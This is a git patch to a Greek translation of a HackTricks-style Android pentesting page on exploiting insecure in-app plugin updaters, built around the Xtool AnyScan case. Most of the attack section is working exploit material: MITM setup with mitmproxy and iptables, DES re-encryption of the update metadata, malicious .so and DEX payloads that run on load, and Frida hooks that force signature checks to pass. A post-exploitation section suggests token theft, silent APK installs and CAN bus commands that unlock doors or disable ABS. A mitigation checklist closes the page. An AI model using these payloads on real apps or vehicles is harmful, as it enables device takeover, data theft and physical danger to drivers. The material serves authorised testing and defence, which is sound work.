From 62982872bdf4593eab212b6912ac7764e826d0e4 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 27 Aug 2025 04:09:34 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap --- .../insecure-in-app-update-rce.md | 190 ++++++++++++++---- 1 file changed, 150 insertions(+), 40 deletions(-) diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md index b1a50b88a..206689c8a 100644 --- a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -1,16 +1,49 @@ -# Ανασφαλείς Μηχανισμοί Ενημέρωσης Εφαρμογών – Εκτέλεση Απομακρυσμένου Κώδικα μέσω Κακόβουλων Πρόσθετων +# Ανασφαλείς Μηχανισμοί Ενημέρωσης Εντός Εφαρμογής – Remote Code Execution via Malicious Plugins {{#include ../../banners/hacktricks-training.md}} -Πολλές εφαρμογές Android υλοποιούν τα **δικά τους κανάλια ενημέρωσης “plugin” ή “dynamic feature”** αντί να χρησιμοποιούν το Google Play Store. Όταν η υλοποίηση είναι ανασφαλής, ένας επιτιθέμενος που μπορεί να παρεμποδίσει την κίνηση μπορεί να προμηθεύσει **τυχαίο εγγενή κώδικα που θα φορτωθεί μέσα στη διαδικασία της εφαρμογής**, οδηγώντας σε πλήρη Εκτέλεση Απομακρυσμένου Κώδικα (RCE) στη συσκευή – και σε ορισμένες περιπτώσεις σε οποιαδήποτε εξωτερική συσκευή που ελέγχεται από την εφαρμογή (αυτοκίνητα, IoT, ιατρικές συσκευές …). +Πολλές εφαρμογές Android υλοποιούν δικά τους κανάλια ενημέρωσης «plugin» ή «dynamic feature» αντί να χρησιμοποιούν το Google Play Store. Όταν η υλοποίηση είναι ανασφαλής, ένας επιτιθέμενος που μπορεί να υποκλέψει ή να τροποποιήσει την κυκλοφορία ενημέρωσης μπορεί να παρέχει αυθαίρετο native ή Dalvik/ART code που θα φορτωθεί μέσα στη διεργασία της εφαρμογής, οδηγώντας σε πλήρη Remote Code Execution (RCE) στη συσκευή — και σε ορισμένες περιπτώσεις σε οποιαδήποτε εξωτερική συσκευή που ελέγχεται από την εφαρμογή (cars, IoT, medical devices …). -Αυτή η σελίδα συνοψίζει μια αλυσίδα ευπάθειας από τον πραγματικό κόσμο που βρέθηκε στην εφαρμογή διαγνωστικών αυτοκινήτων **AnyScan** (v4.40.11 → 4.40.40) και γενικεύει την τεχνική ώστε να μπορείτε να ελέγξετε άλλες εφαρμογές Android και να οπλοποιήσετε τη λανθασμένη ρύθμιση κατά τη διάρκεια μιας εμπλοκής red-team. +Αυτή η σελίδα συνοψίζει μια πραγματική αλυσίδα ευπαθειών που βρέθηκε στην εφαρμογή Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) και γενικεύει την τεχνική ώστε να μπορείτε να ελέγξετε άλλες Android εφαρμογές και να εκμεταλλευτείτε τη λανθασμένη διαμόρφωση κατά τη διάρκεια ενός red-team engagement. --- -## 1. Αναγνώριση Ανασφαλούς TLS TrustManager +## 0. Γρήγορος έλεγχος: έχει η εφαρμογή in‑app updater; -1. Αποσυμπιέστε το APK με το jadx / apktool και εντοπίστε το δίκτυο (OkHttp, HttpUrlConnection, Retrofit…). -2. Αναζητήστε έναν **προσαρμοσμένο `TrustManager`** ή `HostnameVerifier` που εμπιστεύεται τυφλά κάθε πιστοποιητικό: +Στατικά ενδεικτικά που πρέπει να αναζητήσετε σε JADX/apktool: +- Συμβολοσειρές: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip". +- Network endpoints όπως `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`. +- Βοηθητικά κρυπτογράφησης κοντά σε μονοπάτια ενημέρωσης (DES/AES/RC4; Base64; JSON/XML packs). +- Δυναμικοί loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`. +- Διαδρομές αποσυμπίεσης που γράφουν under app-internal ή external storage, και στη συνέχεια φορτώνουν αμέσως ένα `.so`/DEX. + +Runtime hooks για επιβεβαίωση: +```js +// Frida: log native and dex loading +Java.perform(() => { +const Runtime = Java.use('java.lang.Runtime'); +const SystemJ = Java.use('java.lang.System'); +const DexClassLoader = Java.use('dalvik.system.DexClassLoader'); + +SystemJ.load.overload('java.lang.String').implementation = function(p) { +console.log('[System.load] ' + p); return this.load(p); +}; +SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) { +console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n); +}; +Runtime.load.overload('java.lang.String').implementation = function(p){ +console.log('[Runtime.load] ' + p); return this.load(p); +}; +DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) { +console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`); +return this.$init(dexPath, optDir, libPath, parent); +}; +}); +``` +--- +## 1. Αναγνώριση ενός μη ασφαλούς TLS TrustManager + +1. Decompile το APK με jadx / apktool και εντοπίστε το networking stack (OkHttp, HttpUrlConnection, Retrofit…). +2. Αναζητήστε έναν προσαρμοσμένο `TrustManager` ή `HostnameVerifier` που τυφλά εμπιστεύεται κάθε πιστοποιητικό: ```java public static TrustManager[] buildTrustManagers() { return new TrustManager[]{ @@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} }; } ``` -3. Αν υπάρχει, η εφαρμογή θα αποδεχτεί **οποιοδήποτε πιστοποιητικό TLS** → μπορείτε να εκτελέσετε έναν διαφανή **MITM proxy** με ένα αυτο-υπογεγραμμένο πιστοποιητικό: +3. Αν υπάρχει, η εφαρμογή θα αποδεχτεί οποιοδήποτε TLS certificate → μπορείτε να τρέξετε ένα transparent MITM proxy με ένα self-signed cert: ```bash mitmproxy -p 8080 -s addon.py # see §4 iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator ``` -## 2. Αντίστροφη Μηχανική των Μεταδεδομένων Ενημέρωσης +Αν εφαρμόζεται TLS pinning αντί της μη ασφαλούς trust-all logic, δείτε: -Στην περίπτωση του AnyScan, κάθε εκκίνηση της εφαρμογής ενεργοποιεί ένα HTTPS GET προς: +{{#ref}} +android-anti-instrumentation-and-ssl-pinning-bypass.md +{{#endref}} + +{{#ref}} +make-apk-accept-ca-certificate.md +{{#endref}} + +--- +## 2. Reverse-Engineering the Update Metadata + +Στην περίπτωση του AnyScan, κάθε εκκίνηση της app προκαλεί ένα HTTPS GET προς: ``` https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx ``` -Το σώμα της απάντησης είναι ένα **XML έγγραφο** των οποίων οι κόμβοι `` περιέχουν **Base64-κωδικοποιημένο, κρυπτογραφημένο με DES-ECB** JSON που περιγράφει κάθε διαθέσιμο plugin. +Το σώμα της απάντησης είναι ένα XML έγγραφο των οποίων οι κόμβοι `` περιέχουν Base64-encoded, DES-ECB encrypted JSON που περιγράφει κάθε διαθέσιμο plugin. -Τυπικά βήματα αναζήτησης: +Τυπικά βήματα ανίχνευσης: 1. Εντοπίστε τη ρουτίνα κρυπτογράφησης (π.χ. `RemoteServiceProxy`) και ανακτήστε: -* αλγόριθμο (DES / AES / RC4 …) -* τρόπο λειτουργίας (ECB / CBC / GCM …) -* σκληρά κωδικοποιημένο κλειδί / IV (συνήθως 56-bit DES κλειδιά ή 128-bit AES κλειδιά σε σταθερές) -2. Επαναφέρετε τη λειτουργία σε Python για να αποκρυπτογραφήσετε / κρυπτογραφήσετε τα μεταδεδομένα: +- αλγόριθμος (DES / AES / RC4 …) +- τρόπος λειτουργίας (ECB / CBC / GCM …) +- hard-coded key / IV (συνήθως 56‑bit DES ή 128‑bit AES constants) +2. Υλοποιήστε ξανά τη συνάρτηση σε Python για να αποκρυπτογραφήσετε / κρυπτογραφήσετε τα μεταδεδομένα: ```python from Crypto.Cipher import DES from base64 import b64decode, b64encode @@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str: cipher = DES.new(KEY, DES.MODE_ECB) return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() ``` -## 3. Δημιουργία Κακόβουλου Πρόσθετου +Σημειώσεις που παρατηρήθηκαν στο πεδίο (2023–2025): +- Metadata είναι συχνά JSON-within-XML ή protobuf· αδύναμοι αλγόριθμοι κρυπτογράφησης και στατικά κλειδιά είναι συνηθισμένα. +- Πολλοί updaters δέχονται απλό HTTP για τη λήψη του πραγματικού payload ακόμα και αν τα metadata μεταφέρονται μέσω HTTPS. +- Τα plugins συχνά αποσυμπιέζονται σε app-internal storage· μερικά ακόμα χρησιμοποιούν external storage ή legacy `requestLegacyExternalStorage`, επιτρέποντας cross-app tampering. -1. Επιλέξτε οποιοδήποτε νόμιμο ZIP πρόσθετο και αντικαταστήστε τη native βιβλιοθήκη με το payload σας: +--- +## 3. Δημιουργία κακόβουλου plugin + +### 3.1 Native library path (dlopen/System.load[Library]) + +1. Επιλέξτε οποιοδήποτε νόμιμο plugin ZIP και αντικαταστήστε τη native library με το payload σας: ```c // libscan_x64.so – constructor runs as soon as the library is loaded __attribute__((constructor)) @@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid( $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt ``` -2. Ενημερώστε τα μεταδεδομένα JSON ώστε το `"FileName" : "PWNED.zip"` και το `"DownloadURL"` να δείχνουν στον HTTP server σας. -3. Κρυπτογραφήστε με DES + κωδικοποιήστε σε Base64 το τροποποιημένο JSON και αντιγράψτε το πίσω μέσα στο παρεμβαλλόμενο XML. +2. Ενημερώστε τα JSON metadata ώστε το `"FileName" : "PWNED.zip"` και το `"DownloadURL"` να δείχνουν στον HTTP server σας. +3. Re‑encrypt + Base64‑encode το τροποποιημένο JSON και αντιγράψτε το πίσω μέσα στο intercepted XML. +### 3.2 Διαδρομή plugin βάσει Dex (DexClassLoader) + +Ορισμένες εφαρμογές κατεβάζουν ένα JAR/APK και φορτώνουν κώδικα μέσω του `DexClassLoader`. Δημιουργήστε έναν κακόβουλο DEX που ενεργοποιείται κατά τη φόρτωση: +```java +// src/pwn/Dropper.java +package pwn; +public class Dropper { +static { // runs on class load +try { +Runtime.getRuntime().exec("sh -c 'id > /data/data//files/pwned' "); +} catch (Throwable t) {} +} +} +``` + +```bash +# Compile and package to a DEX jar +javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java +jar cf dropper.jar -C out/ . +d8 --output outdex/ dropper.jar +cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this +``` +Εάν ο στόχος καλέσει `Class.forName("pwn.Dropper")`, ο στατικός αρχικοποιητής σας εκτελείται· διαφορετικά, απαριθμήστε ανακλαστικά τις φορτωμένες κλάσεις με Frida και καλέστε μια εξαγόμενη μέθοδο. + +--- ## 4. Παράδοση του Payload με mitmproxy -`addon.py` παράδειγμα που *σιωπηλά* αλλάζει τα αρχικά μεταδεδομένα: +`addon.py` παράδειγμα που διακριτικά αντικαθιστά τα αρχικά μεταδεδομένα: ```python from mitmproxy import http MOD_XML = open("fake_metadata.xml", "rb").read() @@ -89,36 +166,69 @@ MOD_XML, {"Content-Type": "text/xml"} ) ``` -Τρέξτε έναν απλό web server για να φιλοξενήσετε το κακόβουλο ZIP: +Ξεκινήστε έναν απλό web server για να φιλοξενήσει το κακόβουλο ZIP/JAR: ```bash python3 -m http.server 8000 --directory ./payloads ``` -Όταν το θύμα εκκινεί την εφαρμογή, θα: -* ανακτήσει το παραποιημένο XML μέσω του καναλιού MITM; -* αποκρυπτογραφήσει και αναλύσει με το σκληρά κωδικοποιημένο κλειδί DES; -* κατεβάσει το `PWNED.zip` → αποσυμπιέσει μέσα στην ιδιωτική αποθήκευση; -* `dlopen()` το συμπεριλαμβανόμενο *libscan_x64.so*, εκτελώντας άμεσα τον κώδικά μας **με τις άδειες της εφαρμογής** (κάμερα, GPS, Bluetooth, σύστημα αρχείων, …). +Όταν το θύμα ανοίξει την app θα: +- ανακτήσει το πλαστό XML μας μέσω του MITM channel; +- θα το αποκρυπτογραφήσει & θα το αναλύσει με το hard-coded crypto; +- θα κατεβάσει `PWNED.zip` ή `plugin.jar` → θα το αποσυμπιέσει στον ιδιωτικό χώρο αποθήκευσης; +- θα φορτώσει το περιεχόμενο `.so` ή DEX, εκτελώντας άμεσα τον κώδικά μας με τα δικαιώματα της app (camera, GPS, Bluetooth, filesystem, …). -Επειδή το plugin είναι αποθηκευμένο στη μνήμη, η πίσω πόρτα **επιμένει μετά από επανεκκινήσεις** και εκτελείται κάθε φορά που ο χρήστης επιλέγει τη σχετική δυνατότητα. - -## 5. Ιδέες Μετά την Εκμετάλλευση - -* Κλέψτε τα session cookies, OAuth tokens ή JWTs που αποθηκεύει η εφαρμογή. -* Ρίξτε ένα APK δεύτερης φάσης και εγκαταστήστε το σιωπηλά μέσω του `pm install` (η εφαρμογή έχει ήδη `REQUEST_INSTALL_PACKAGES`). -* Καταχρήστε οποιοδήποτε συνδεδεμένο υλικό – στο σενάριο AnyScan μπορείτε να στείλετε αυθαίρετες **εντολές OBD-II / CAN bus** (ξεκλείδωμα θυρών, απενεργοποίηση ABS, κ.λπ.). +Επειδή το plugin είναι cached στο δίσκο, το backdoor παραμένει μετά από επανεκκινήσεις και τρέχει κάθε φορά που ο χρήστης επιλέγει τη σχετική λειτουργία. --- -### Λίστα Ελέγχου Ανίχνευσης & Μετριασμού (μπλε ομάδα) +## 4.1 Παράκαμψη ελέγχων υπογραφής/hash (όταν υπάρχουν) -* ΠΟΤΕ μην αποστέλλετε μια παραγωγική έκδοση με έναν προσαρμοσμένο TrustManager/HostnameVerifier που απενεργοποιεί την επικύρωση πιστοποιητικών. -* Μην κατεβάζετε εκτελέσιμο κώδικα από το Google Play. Αν *πρέπει*, υπογράψτε κάθε plugin με το ίδιο **apkSigning v2** κλειδί και επαληθεύστε την υπογραφή πριν τη φόρτωση. -* Αντικαταστήστε την αδύναμη/σκληρά κωδικοποιημένη κρυπτογράφηση με **AES-GCM** και ένα περιστρεφόμενο κλειδί από την πλευρά του διακομιστή. -* Επικυρώστε την ακεραιότητα των κατεβασμένων αρχείων (υπογραφή ή τουλάχιστον SHA-256). +Εάν ο updater επικυρώνει υπογραφές ή hashes, κάντε hook την επαλήθευση ώστε να αποδέχεται πάντα περιεχόμενο του attacker: +```js +// Frida – make java.security.Signature.verify() return true +Java.perform(() => { +const Sig = Java.use('java.security.Signature'); +Sig.verify.overload('[B').implementation = function(a) { return true; }; +}); + +// Less surgical (use only if needed): defeat Arrays.equals() for byte[] +Java.perform(() => { +const Arrays = Java.use('java.util.Arrays'); +Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; }; +}); +``` +Επίσης σκεφτείτε να δημιουργήσετε stubs για μεθόδους vendor όπως `PluginVerifier.verifySignature()`, `checkHash()`, ή να παρακάμψετε τη λογική ελέγχου ενημερώσεων σε Java ή JNI. --- -## Αναφορές +## 5. Άλλες επιφάνειες επίθεσης στους μηχανισμούς ενημέρωσης (2023–2025) + +- Zip Slip path traversal κατά την αποσυμπίεση plugins: κακόβουλες εγγραφές όπως `../../../../data/data//files/target` υπεργράφουν αυθαίρετα αρχεία. Πάντα κάντε sanitization των entry paths και χρησιμοποιήστε allow‑lists. +- External storage staging: αν η εφαρμογή γράφει το archive στο external storage πριν το φορτώσει, οποιαδήποτε άλλη εφαρμογή μπορεί να το παραποιήσει. Scoped Storage ή internal app storage αποφεύγουν αυτό. +- Cleartext downloads: metadata μέσω HTTPS αλλά payload μέσω HTTP → straightforward MITM swap. +- Incomplete signature checks: σύγκριση μόνο ενός single file hash, όχι ολόκληρου του archive; μη σύνδεση της υπογραφής με το developer key; αποδοχή οποιουδήποτε RSA key που υπάρχει στο archive. +- React Native / Web‑based OTA content: αν native bridges εκτελούν JS από OTA χωρίς αυστηρό signing, είναι δυνατή arbitrary code execution στο context της εφαρμογής (π.χ. insecure CodePush-like flows). Διασφαλίστε detached update signing και αυστηρή verification. + +--- +## 6. Ιδέες μετά‑εκμετάλλευσης + +- Κλέψτε session cookies, OAuth tokens, ή JWTs που αποθηκεύει η εφαρμογή. +- Κατεβάστε ένα second‑stage APK και εγκαταστήστε το αθόρυβα με `pm install` αν είναι δυνατό (κάποιες εφαρμογές ήδη δηλώνουν `REQUEST_INSTALL_PACKAGES`). +- Κακοχρησιμοποιήστε οποιοδήποτε συνδεδεμένο hardware – στο σενάριο AnyScan μπορείτε να στείλετε arbitrary OBD‑II / CAN bus commands (ξεκλείδωμα θυρών, απενεργοποίηση ABS, κ.λπ.). + +--- +### Detection & Mitigation Checklist (blue team) + +- Αποφύγετε dynamic code loading και out‑of‑store updates. Προτιμήστε Play‑mediated updates. Αν τα dynamic plugins είναι απαραίτητα, σχεδιάστε τα ως data‑only bundles και κρατήστε το executable code στο base APK. +- Εφαρμόστε σωστά TLS: όχι custom trust‑all managers; αναπτύξτε pinning όπου είναι εφικτό και ένα hardened network security config που απαγορεύει cleartext traffic. +- Μην κάνετε download executable code από έξω από το Google Play. Αν πρέπει, χρησιμοποιήστε detached update signing (π.χ., Ed25519/RSA) με ένα developer‑held key και verify πριν το φορτώσετε. Συνδέστε metadata και payload (μήκος, hash, version) και αποτύχετε κλειστά (fail closed). +- Χρησιμοποιήστε σύγχρονη κρυπτογραφία (AES‑GCM) με per‑message nonces για metadata; αφαιρέστε hard‑coded keys από τους clients. +- Επικυρώστε την ακεραιότητα των downloaded archives: επαληθεύστε μια υπογραφή που καλύπτει κάθε αρχείο, ή τουλάχιστον επαληθεύστε ένα manifest με SHA‑256 hashes. Απορρίψτε επιπλέον/άγνωστα αρχεία. +- Αποθηκεύετε τα downloads σε app‑internal storage (ή scoped storage στο Android 10+) και χρησιμοποιήστε file permissions που αποτρέπουν cross‑app tampering. +- Προστατευτείτε από Zip Slip: κανονικοποιήστε και επικυρώστε τα zip entry paths πριν την εξαγωγή· απορρίψτε absolute paths ή `..` segments. +- Εξετάστε το Play “Code Transparency” για να επιτρέψετε σε εσάς και στους χρήστες να επαληθεύετε ότι το shipped DEX/native code ταιριάζει με αυτό που χτίσατε (συμπληρώνει αλλά δεν αντικαθιστά το APK signing). + +--- +## References - [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) -- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) +- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading) {{#include ../../banners/hacktricks-training.md}}